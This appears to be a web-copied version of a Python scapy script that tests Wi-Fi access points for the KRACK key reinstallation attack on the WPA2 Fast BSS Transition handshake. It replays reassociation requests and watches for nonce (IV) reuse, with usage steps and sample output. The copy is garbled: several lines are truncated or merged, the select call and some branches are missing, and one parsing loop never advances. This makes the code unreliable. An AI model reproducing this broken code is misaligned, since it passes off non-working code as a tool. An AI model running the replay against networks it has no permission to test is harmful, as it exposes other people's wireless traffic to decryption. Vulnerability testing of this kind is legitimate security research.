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Krack Attack (WPA2) Sample Code
#!/usr/bin/env python2
import logging
from scapy.all import *
import sys, socket, struct, time, subprocess, atexit, select
from datetime import datetime
IEEE80211_RADIOTAP_RATE = (1 << 2)
IEEE80211_RADIOTAP_TX_FLAGS = (1 << 15)
USAGE = """{name} - Tool to test Key Reinstallation Attacks against an AP
To test wheter an AP is vulnerable to a Key Reinstallation Attack against
the Fast BSS Transition (FT) handshake, execute the following steps:
1. Create a wpa_supplicant configuration file that can be used to connect
to the network. A basic example is:
Note the use of "FT-PSK". Save it as network.conf or similar. For more
info see
2. Try to connect to the network using your platform's wpa_supplicant.
This will likely require a command such as:
sudo wpa_supplicant -D nl80211 -i wlan0 -c network.conf
If this fails, either the AP does not support FT, or you provided the wrong
network configuration options in step 1.
3. Use this script as a wrapper over the previous wpa_supplicant command:
sudo {name} wpa_supplicant -D nl80211 -i wlan0 -c network.conf
This will execute the wpa_supplicant command using the provided parameters,
and will add a virtual monitor interface that will perform attack tests.
4. Use wpa_cli to roam to a different AP of the same network. For example:
sudo wpa_cli
> status
> scan_results
bssid / frequency / signal level / flags / ssid
c4:e9:84:db:fb:7b 2412 -21 [WPA2-PSK+FT/PSK-CCMP][ESS] testnet
c4:e9:84:1d:a5:bc 2412 -31 [WPA2-PSK+FT/PSK-CCMP][ESS] testnet
> roam c4:e9:84:1d:a5:bc
In this example we were connected to AP c4:e9:84:db:fb:7b of testnet (see
status command). The scan_results command shows this network also has a
second AP with MAC c4:e9:84:1d:a5:bc. We then roam to this second AP.
5. Generate traffic between the AP and client. For example:
sudo arping -I wlan0
6. Now look at the output of {name} to see if the AP is vulnerable.
6a. First it should say "Detected FT reassociation frame". Then it will
start replaying this frame to try the attack.
6b. The script shows which IVs the AP is using when sending data frames.
6c. Message "IV reuse detected (IV=X, seq=Y). AP is vulnerable!" means
we confirmed it's vulnerable.
Example output of vulnerable AP:
[15:59:24] Replaying Reassociation Request
[15:59:25] AP transmitted data using IV=1 (seq=0)
[15:59:25] Replaying Reassociation Request
[15:59:26] AP transmitted data using IV=1 (seq=0)
[15:59:26] IV reuse detected (IV=1, seq=0). AP is vulnerable!
Example output of patched AP (note that IVs are never reused):
[16:00:49] Replaying Reassociation Request
[16:00:49] AP transmitted data using IV=1 (seq=0)
[16:00:50] AP transmitted data using IV=2 (seq=1)
[16:00:50] Replaying Reassociation Request
[16:00:51] AP transmitted data using IV=3 (seq=2)
[16:00:51] Replaying Reassociation Request
[16:00:52] AP transmitted data using IV=4 (seq=3)
#### Basic output and logging functionality ####
COLORCODES = { "gray" : "\033[0;37m",
"green" : "\033[0;32m",
"orange": "\033[0;33m",
"red" : "\033[0;31m" }
global_log_level = INFO
def log(level, msg, color=None, showtime=True):
if level < global_log_level: return
if level == DEBUG and color is None: color="gray"
if level == WARNING and color is None: color="orange"
if level == ERROR and color is None: color="red"
print ('[%H:%M:%S] ') if showtime else " "*11) + COLORCODES.get(color, "") + msg + "\033[1;0m"
#### Packet Processing Functions ####
class MitmSocket(L2Socket):
def __init__(self, **kwargs):
super(MitmSocket, self).__init__(**kwargs)
def send(self, p):
# Hack: set the More Data flag so we can detect injected frames
p[Dot11].FCfield |= 0x20
L2Socket.send(self, RadioTap()/p)
def _strip_fcs(self, p):
# Scapy can't handle FCS field automatically
if p[RadioTap].present & 2 != 0:
rawframe = str(p[RadioTap])
pos = 8
while ord(rawframe[pos - 1]) & 0x80 != 0: pos += 4
# If the TSFT field is present, it must be 8-bytes aligned
if p[RadioTap].present & 1 != 0:
pos += (8 - (pos % 8))
pos += 8
# Remove FCS if present
if ord(rawframe[pos]) & 0x10 != 0:
return Dot11(str(p[Dot11])[:-4])
return p[Dot11]
def recv(self, x=MTU):
p = L2Socket.recv(self, x)
if p == None or not Dot11 in p: return None
# Hack: ignore frames that we just injected and are echoed back by the kernel
if p[Dot11].FCfield & 0x20 != 0:
return None
# Strip the FCS if present, and drop the RadioTap header
return self._strip_fcs(p)
def close(self):
super(MitmSocket, self).close()
def dot11_get_seqnum(p):
return p[Dot11].SC >> 4
def dot11_get_iv(p):
"""Scapy can't handle Extended IVs, so do this properly ourselves"""
if Dot11WEP not in p:
log(ERROR, "INTERNAL ERROR: Requested IV of plaintext frame")
return 0
wep = p[Dot11WEP]
if wep.keyid & 32:
return ord(wep.iv[0]) + (ord(wep.iv[1]) << 8) + (struct.unpack(">I", wep.wepdata[:4])[0] << 16)
return ord(wep.iv[0]) + (ord(wep.iv[1]) << 8) + (ord(wep.iv[2]) << 16)
def get_tlv_value(p, type):
if not Dot11Elt in p: return None
el = p[Dot11Elt]
while isinstance(el, Dot11Elt):
if el.ID == type:
el = el.payload
return None
#### Man-in-the-middle Code ####
class KRAckAttackFt():
def __init__(self, interface):
self.nic_iface = interface
self.nic_mon = interface + "mon"
self.clientmac = scapy.arch.get_if_hwaddr(interface)
self.sock = None
self.wpasupp = None
self.reassoc = None
self.ivs = set()
self.next_replay = None
def handle_rx(self):
p = self.sock.recv()
if p == None: return
if p.addr2 == self.clientmac and Dot11ReassoReq in p:
if get_tlv_value(p, IEEE_TLV_TYPE_RSN) and get_tlv_value(p, IEEE_TLV_TYPE_FT):
log(INFO, "Detected FT reassociation frame")
self.reassoc = p
self.next_replay = time.time() + 1
log(INFO, "Reassociation frame does not appear to be an FT one")
self.reassoc = None
self.ivs = set()
elif p.addr2 == self.clientmac and Dot11AssoReq in p:
log(INFO, "Detected normal association frame")
self.reassoc = None
self.ivs = set()
elif p.addr1 == self.clientmac and Dot11WEP in p:
iv = dot11_get_iv(p)
log(INFO, "AP transmitted data using IV=%d (seq=%d)" % (iv, dot11_get_seqnum(p)))
if iv in self.ivs:
log(INFO, ("IV reuse detected (IV=%d, seq=%d). " +
"AP is vulnerable!.") % (iv, dot11_get_seqnum(p)), color="green")
def configure_interfaces(self):
log(STATUS, "Note: disable Wi-Fi in your network manager so it doesn't interfere with this script")
# 1. Remove unused virtual interfaces to start from clean state["iw", self.nic_mon, "del"], stdout=subprocess.PIPE, stdin=subprocess.PIPE)
# 2. Configure monitor mode on interfaces
subprocess.check_output(["iw", self.nic_iface, "interface", "add", self.nic_mon, "type", "monitor"])
# Some kernels (Debian jessie - 3.16.0-4-amd64) don't properly add the monitor interface. The following ugly
# sequence of commands to assure the virtual interface is registered as a 802.11 monitor interface.
subprocess.check_output(["iw", self.nic_mon, "set", "type", "monitor"])
subprocess.check_output(["iw", self.nic_mon, "set", "type", "monitor"])
subprocess.check_output(["ifconfig", self.nic_mon, "up"])
def run(self):
# Make sure to use a recent backports driver package so we can indeed
# capture and inject packets in monitor mode.
self.sock = MitmSocket(type=ETH_P_ALL, iface=self.nic_mon)
# Set up a rouge AP that clones the target network (don't use tempfile - it can be useful to manually use the generated config)
self.wpasupp = subprocess.Popen(sys.argv[1:])
# Continue attack by monitoring both channels and performing needed actions
while True:
sel =[self.sock], [], [], 1)
if self.sock in sel[0]: self.handle_rx()
if self.reassoc and time.time() > self.next_replay:
log(INFO, "Replaying Reassociation Request")
self.next_replay = time.time() + 1
def stop(self):
log(STATUS, "Closing hostapd and cleaning up ...")
if self.wpasupp:
if self.sock: self.sock.close()
def cleanup():
def argv_get_interface():
for i in range(len(sys.argv)):
if not sys.argv[i].startswith("-i"):
if len(sys.argv[i]) > 2:
return sys.argv[i][2:]
return sys.argv[i + 1]
return None
if __name__ == "__main__":
if len(sys.argv) <= 1 or "--help" in sys.argv or "-h" in sys.argv:
print USAGE.format(name=sys.argv[0])
interface = argv_get_interface()
if not interface:
log(ERROR, "Failed to determine interface. Specify one using -i parameter.")
attack = KRAckAttackFt(interface)
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